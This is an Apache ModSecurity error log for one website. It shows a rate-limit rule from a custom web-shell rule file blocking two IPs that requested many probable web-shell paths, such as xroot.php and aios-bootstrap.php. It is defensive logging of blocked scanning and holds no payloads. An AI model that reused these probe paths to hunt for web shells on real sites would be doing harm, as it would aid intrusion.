[Sun Apr 26 09:04:42.177927 2026] [:error] [pid 16515:tid 16534] [client 51.75.128.94:36918] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ae1kqltDrUmgHSvpuLzbVAAAAlA"]
[Sun Apr 26 09:04:44.246316 2026] [:error] [pid 22573:tid 22624] [client 51.75.128.94:36930] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ae1krHB3EmQlD4yKUt8-0wAAAZE"]
[Sun Apr 26 09:04:46.099958 2026] [:error] [pid 22572:tid 22594] [client 51.75.128.94:36954] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ae1krtXOViWCFU-pZzCMYAAAAVA"]
[Sun Apr 26 09:04:48.129797 2026] [:error] [pid 16574:tid 16612] [client 51.75.128.94:57860] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ae1ksH5MsX8wRQr99nYFGgAAA0g"]
[Sun Apr 26 09:04:50.171424 2026] [:error] [pid 13137:tid 13155] [client 51.75.128.94:57876] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ae1kst0RB4J0o4h5neH5hgAAAg4"]
[Sun Apr 26 09:04:52.048980 2026] [:error] [pid 13137:tid 13162] [client 51.75.128.94:57892] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ae1ktN0RB4J0o4h5neH5jgAAAhU"]
[Sun Apr 26 09:04:54.084864 2026] [:error] [pid 16515:tid 16535] [client 51.75.128.94:57894] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ae1ktltDrUmgHSvpuLzbfwAAAlE"]
[Sun Apr 26 09:04:56.108500 2026] [:error] [pid 16515:tid 16525] [client 51.75.128.94:57914] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ae1kuFtDrUmgHSvpuLzbiAAAAkc"]
[Sun Apr 26 09:04:58.149783 2026] [:error] [pid 8491:tid 8512] [client 51.75.128.94:41156] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ae1kuiq7I7e6CJooQM23PAAAAM0"]
[Sun Apr 26 09:05:00.181533 2026] [:error] [pid 13137:tid 13141] [client 51.75.128.94:41180] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ae1kvN0RB4J0o4h5neH5nwAAAgE"]
[Sun Apr 26 09:05:02.225116 2026] [:error] [pid 8390:tid 8455] [client 51.75.128.94:41196] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ae1kvoGPtFK_i9p5yxRTKAAAAIQ"]
[Sun Apr 26 09:05:04.255290 2026] [:error] [pid 8491:tid 8523] [client 51.75.128.94:41226] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ae1kwCq7I7e6CJooQM23RgAAANc"]
[Sun Apr 26 09:05:06.140364 2026] [:error] [pid 16515:tid 16520] [client 51.75.128.94:41230] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ae1kwltDrUmgHSvpuLzbkwAAAkI"]
[Sun Apr 26 09:05:08.150311 2026] [:error] [pid 13197:tid 13251] [client 51.75.128.94:50994] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ae1kxN3kktFKdSxTrBudUQAAAtM"]
[Sun Apr 26 09:05:10.185894 2026] [:error] [pid 13137:tid 13151] [client 51.75.128.94:51020] [client 51.75.128.94] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ae1kxt0RB4J0o4h5neH5pQAAAgo"]
[Sun Apr 26 09:19:22.014555 2026] [:error] [pid 22572:tid 22579] [client 20.203.160.110:64807] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G-In.php"] [unique_id "ae1oGtXOViWCFU-pZzCRXwAAAUE"]
[Sun Apr 26 09:19:23.155396 2026] [:error] [pid 22572:tid 22590] [client 20.203.160.110:42349] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G-In.php"] [unique_id "ae1oG9XOViWCFU-pZzCRYAAAAUw"]
[Sun Apr 26 09:19:24.382077 2026] [:error] [pid 8385:tid 8428] [client 20.203.160.110:2101] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G-In.php"] [unique_id "ae1oHDOy7_J84Wx3-oyBjwAAAEQ"]
[Sun Apr 26 09:19:27.065294 2026] [:error] [pid 16515:tid 16525] [client 20.203.160.110:60645] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/G-In.php"] [unique_id "ae1oH1tDrUmgHSvpuLzfMgAAAkc"]
[Sun Apr 26 09:19:28.729198 2026] [:error] [pid 8491:tid 8511] [client 20.203.160.110:42970] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj11.php"] [unique_id "ae1oICq7I7e6CJooQM25QQAAAMw"]
[Sun Apr 26 09:19:30.067129 2026] [:error] [pid 8385:tid 8446] [client 20.203.160.110:41358] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj11.php"] [unique_id "ae1oIjOy7_J84Wx3-oyBkgAAAFY"]
[Sun Apr 26 09:19:31.006641 2026] [:error] [pid 8390:tid 8452] [client 20.203.160.110:30379] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj11.php"] [unique_id "ae1oI4GPtFK_i9p5yxRa7gAAAIE"]
[Sun Apr 26 09:19:32.049591 2026] [:error] [pid 8385:tid 8442] [client 20.203.160.110:2080] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aj11.php"] [unique_id "ae1oJDOy7_J84Wx3-oyBlAAAAFI"]
[Sun Apr 26 09:19:33.377723 2026] [:error] [pid 8390:tid 8461] [client 20.203.160.110:30360] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tires.php"] [unique_id "ae1oJYGPtFK_i9p5yxRa9gAAAIo"]
[Sun Apr 26 09:19:34.714118 2026] [:error] [pid 8385:tid 8443] [client 20.203.160.110:12499] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tires.php"] [unique_id "ae1oJjOy7_J84Wx3-oyBlwAAAFM"]
[Sun Apr 26 09:19:36.523856 2026] [:error] [pid 22573:tid 22627] [client 20.203.160.110:2049] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tires.php"] [unique_id "ae1oKHB3EmQlD4yKUt9F4AAAAZQ"]
[Sun Apr 26 09:19:38.529185 2026] [:error] [pid 22573:tid 22628] [client 20.203.160.110:55456] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tires.php"] [unique_id "ae1oKnB3EmQlD4yKUt9F5wAAAZU"]
[Sun Apr 26 09:19:40.240432 2026] [:error] [pid 8491:tid 8499] [client 20.203.160.110:12147] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xroot.php"] [unique_id "ae1oLCq7I7e6CJooQM25QwAAAMA"]
[Sun Apr 26 09:19:42.426032 2026] [:error] [pid 22573:tid 22612] [client 20.203.160.110:26370] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xroot.php"] [unique_id "ae1oLnB3EmQlD4yKUt9F7gAAAYY"]
[Sun Apr 26 09:19:43.571337 2026] [:error] [pid 13137:tid 13141] [client 20.203.160.110:25782] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xroot.php"] [unique_id "ae1oL90RB4J0o4h5neH-NQAAAgE"]
[Sun Apr 26 09:19:45.650531 2026] [:error] [pid 22573:tid 22626] [client 20.203.160.110:2050] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xroot.php"] [unique_id "ae1oMXB3EmQlD4yKUt9F8AAAAZM"]
[Sun Apr 26 09:19:48.162614 2026] [:error] [pid 22572:tid 22600] [client 20.203.160.110:16366] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "ae1oNNXOViWCFU-pZzCRbAAAAVY"]
[Sun Apr 26 09:19:49.589747 2026] [:error] [pid 13197:tid 13240] [client 20.203.160.110:25808] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "ae1oNd3kktFKdSxTrBufKAAAAsk"]
[Sun Apr 26 09:19:50.345944 2026] [:error] [pid 22573:tid 22631] [client 20.203.160.110:57919] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "ae1oNnB3EmQlD4yKUt9GAgAAAZg"]
[Sun Apr 26 09:19:51.543033 2026] [:error] [pid 8385:tid 8445] [client 20.203.160.110:33848] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tea.php"] [unique_id "ae1oNzOy7_J84Wx3-oyBmgAAAFU"]
[Sun Apr 26 09:19:53.169485 2026] [:error] [pid 13137:tid 13144] [client 20.203.160.110:20006] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwu.php"] [unique_id "ae1oOd0RB4J0o4h5neH-TQAAAgQ"]
[Sun Apr 26 09:19:54.670210 2026] [:error] [pid 8390:tid 8457] [client 20.203.160.110:2435] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwu.php"] [unique_id "ae1oOoGPtFK_i9p5yxRbDQAAAIY"]
[Sun Apr 26 09:19:56.157444 2026] [:error] [pid 8385:tid 8446] [client 20.203.160.110:51357] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwu.php"] [unique_id "ae1oPDOy7_J84Wx3-oyBnQAAAFY"]
[Sun Apr 26 09:19:58.433740 2026] [:error] [pid 13137:tid 13157] [client 20.203.160.110:14693] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uwu.php"] [unique_id "ae1oPt0RB4J0o4h5neH-WQAAAhA"]
[Sun Apr 26 09:20:01.319315 2026] [:error] [pid 22572:tid 22589] [client 20.203.160.110:16362] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aios-bootstrap.php"] [unique_id "ae1oQdXOViWCFU-pZzCRcAAAAUs"]
[Sun Apr 26 09:20:03.709285 2026] [:error] [pid 22572:tid 22581] [client 20.203.160.110:59341] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aios-bootstrap.php"] [unique_id "ae1oQ9XOViWCFU-pZzCRdQAAAUM"]
[Sun Apr 26 09:20:09.042584 2026] [:error] [pid 8390:tid 8459] [client 20.203.160.110:2461] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aios-bootstrap.php"] [unique_id "ae1oSYGPtFK_i9p5yxRbMQAAAIg"]
[Sun Apr 26 09:20:11.507710 2026] [:error] [pid 22573:tid 22608] [client 20.203.160.110:12159] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aios-bootstrap.php"] [unique_id "ae1oS3B3EmQlD4yKUt9GGQAAAYI"]
[Sun Apr 26 09:20:13.164597 2026] [:error] [pid 8385:tid 8430] [client 20.203.160.110:32508] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "ae1oTTOy7_J84Wx3-oyBqQAAAEY"]
[Sun Apr 26 09:20:15.788244 2026] [:error] [pid 8385:tid 8434] [client 20.203.160.110:14707] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "ae1oTzOy7_J84Wx3-oyBtAAAAEo"]
[Sun Apr 26 09:20:19.028496 2026] [:error] [pid 8385:tid 8425] [client 20.203.160.110:51371] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/one.php"] [unique_id "ae1oUzOy7_J84Wx3-oyBtgAAAEE"]
[Sun Apr 26 09:20:37.517505 2026] [:error] [pid 8385:tid 8433] [client 20.203.160.110:50211] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ae1oZTOy7_J84Wx3-oyBxgAAAEk"]
[Sun Apr 26 09:20:38.667791 2026] [:error] [pid 8390:tid 8475] [client 20.203.160.110:31771] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ae1oZoGPtFK_i9p5yxRbogAAAJg"]
[Sun Apr 26 09:20:41.603039 2026] [:error] [pid 22573:tid 22621] [client 20.203.160.110:51896] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ae1oaXB3EmQlD4yKUt9GOgAAAY4"]
[Sun Apr 26 09:20:43.607878 2026] [:error] [pid 8390:tid 8461] [client 20.203.160.110:52086] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "ae1oa4GPtFK_i9p5yxRbsgAAAIo"]
[Sun Apr 26 09:20:44.395340 2026] [:error] [pid 8491:tid 8510] [client 20.203.160.110:15185] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "ae1obCq7I7e6CJooQM25eQAAAMs"]
[Sun Apr 26 09:20:46.070120 2026] [:error] [pid 8383:tid 8408] [client 20.203.160.110:34446] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "ae1obtFa2S3EsATMdWPYjAAAAAs"]
[Sun Apr 26 09:20:47.596093 2026] [:error] [pid 8491:tid 8515] [client 20.203.160.110:47699] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "ae1obyq7I7e6CJooQM25fQAAANA"]
[Sun Apr 26 09:20:48.563050 2026] [:error] [pid 8491:tid 8508] [client 20.203.160.110:34439] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fone1.php"] [unique_id "ae1ocCq7I7e6CJooQM25fwAAAMk"]
[Sun Apr 26 09:20:51.896376 2026] [:error] [pid 22572:tid 22592] [client 20.203.160.110:34508] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ae1oc9XOViWCFU-pZzCRkAAAAU4"]
[Sun Apr 26 09:20:54.026816 2026] [:error] [pid 8390:tid 8470] [client 20.203.160.110:51873] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zogy1.php"] [unique_id "ae1odoGPtFK_i9p5yxRbzAAAAJM"]
